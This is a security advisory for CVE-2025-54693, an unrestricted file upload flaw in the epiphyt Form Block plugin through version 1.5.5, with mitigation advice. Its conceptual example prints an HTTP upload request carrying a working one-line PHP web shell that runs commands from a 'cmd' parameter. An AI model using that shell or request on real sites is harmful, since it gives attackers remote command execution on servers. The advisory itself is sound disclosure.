Overview
CVE-2025-54693 is a highly critical severity vulnerability that affects the epiphyt Form Block up to version 1.5.5. It is an Unrestricted Upload of File with Dangerous Type vulnerability that could potentially allow an attacker to upload a Web Shell to a Web Server. This vulnerability is of great concern as it carries the risk of system compromise and potential data leakage. Web administrators and webmasters using epiphyt Form Block must be aware of this threat and take immediate action to reduce the risk associated with this vulnerability.
Vulnerability Summary
CVE ID: CVE-2025-54693
Severity: Critical (CVSS: 9.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage
Affected Products
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Product | Affected Versions
epiphyt Form Block | up to 1.5.5
How the Exploit Works
The vulnerability arises due to improper validation of file uploads in the epiphyt Form Block. As a result, an attacker can upload a Web Shell, which is a script that can be uploaded to a web server to enable remote access to the server. Once the malicious file is uploaded and executed, it can compromise the entire system, thereby potentially allowing unauthorized access to sensitive data, system resources, and network traffic.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. In this case, the attacker sends a POST request to the vulnerable endpoint with a malicious payload (web shell):
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--The above HTTP request uploads a PHP web shell that can execute arbitrary OS commands based on the input provided in the ‘cmd’ GET parameter. This allows the attacker to control the system remotely.
Mitigation
The best way to mitigate this vulnerability is to apply the vendor’s patch as soon as it becomes available. In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help prevent exploitation of this vulnerability. It is also recommended to disable file uploads or limit them to certain trusted types and users, as well as regularly updating and patching all systems and software.